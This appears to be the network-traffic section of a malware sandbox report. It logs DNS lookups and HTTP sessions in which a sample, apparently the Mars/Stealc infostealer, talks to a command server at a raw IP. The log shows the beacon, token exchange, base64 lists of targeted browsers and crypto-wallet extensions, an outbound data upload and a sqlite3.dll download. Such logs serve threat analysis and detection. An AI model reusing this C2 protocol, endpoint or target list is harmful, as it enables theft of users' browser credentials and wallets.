Nov 28, 2024 17:24:39.162666082 CET	1.1.1.1	192.168.2.6	0xb9aa	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:39.162666082 CET	1.1.1.1	192.168.2.6	0xb9aa	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:39.162666082 CET	1.1.1.1	192.168.2.6	0xb9aa	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:39.162666082 CET	1.1.1.1	192.168.2.6	0xb9aa	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 28, 2024 17:24:39.172697067 CET	1.1.1.1	192.168.2.6	0x4f36	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:39.172780991 CET	1.1.1.1	192.168.2.6	0xcf98	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:39.305213928 CET	1.1.1.1	192.168.2.6	0x1111	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:39.307029009 CET	1.1.1.1	192.168.2.6	0xfc5d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:39.448132038 CET	1.1.1.1	192.168.2.6	0x3178	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:39.448859930 CET	1.1.1.1	192.168.2.6	0x95e8	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:42.407371044 CET	1.1.1.1	192.168.2.6	0xb2b0	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 17:24:42.407371044 CET	1.1.1.1	192.168.2.6	0xb2b0	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49716	185.215.113.206	80	2020	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 17:24:11.958193064 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 17:24:13.350421906 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 17:24:13.361979961 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJD Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 38 33 30 43 36 43 45 33 46 38 39 35 31 34 37 30 31 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 2d 2d 0d 0a Data Ascii: ------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="hwid"F830C6CE3F89514701825------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="build"mars------CBKJJJDHDGDAAKECAKJD--
Nov 28, 2024 17:24:13.846992016 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 7a 42 6d 4d 54 55 7a 4e 7a 49 77 4e 6d 4d 33 59 57 4d 7a 5a 44 51 78 4e 44 42 6b 4d 7a 5a 6b 4f 54 41 31 4e 7a 45 34 59 54 41 31 4e 6a 41 77 59 7a 67 33 4d 47 4d 78 4d 6d 4e 69 4d 7a 4e 68 4d 47 51 78 4d 7a 55 31 4e 6a 59 32 59 54 55 78 4e 44 45 77 4f 57 51 34 59 54 63 31 5a 6a 55 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NzBmMTUzNzIwNmM3YWMzZDQxNDBkMzZkOTA1NzE4YTA1NjAwYzg3MGMxMmNiMzNhMGQxMzU1NjY2YTUxNDEwOWQ4YTc1ZjU1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 28, 2024 17:24:13.950884104 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 2d 2d 0d 0a Data Ascii: ------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="message"browsers------DBKKFHIEGDHJKECAAKKE--
Nov 28, 2024 17:24:14.405412912 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 28, 2024 17:24:14.405446053 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Nov 28, 2024 17:24:14.606194019 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Nov 28, 2024 17:24:14.607777119 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 2d 2d 0d 0a Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="message"plugins------KKKKEHJKFCFCBFHIIDGD--
Nov 28, 2024 17:24:15.062362909 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 28, 2024 17:24:15.062406063 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 28, 2024 17:24:15.062958956 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 28, 2024 17:24:15.063013077 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Nov 28, 2024 17:24:15.063018084 CET	248	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Nov 28, 2024 17:24:15.063843012 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Nov 28, 2024 17:24:15.063889027 CET	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Nov 28, 2024 17:24:15.072650909 CET	248	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Nov 28, 2024 17:24:15.263200045 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Nov 28, 2024 17:24:15.266735077 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 2d 2d 0d 0a Data Ascii: ------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="message"fplugins------KKFCFBKFCFBFIDGCGDHJ--
Nov 28, 2024 17:24:15.735860109 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 28, 2024 17:24:15.754683018 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHJEGIEBFIJJKFIIIJ Host: 185.215.113.206 Content-Length: 6883 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 17:24:16.977543116 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 17:24:17.363603115 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
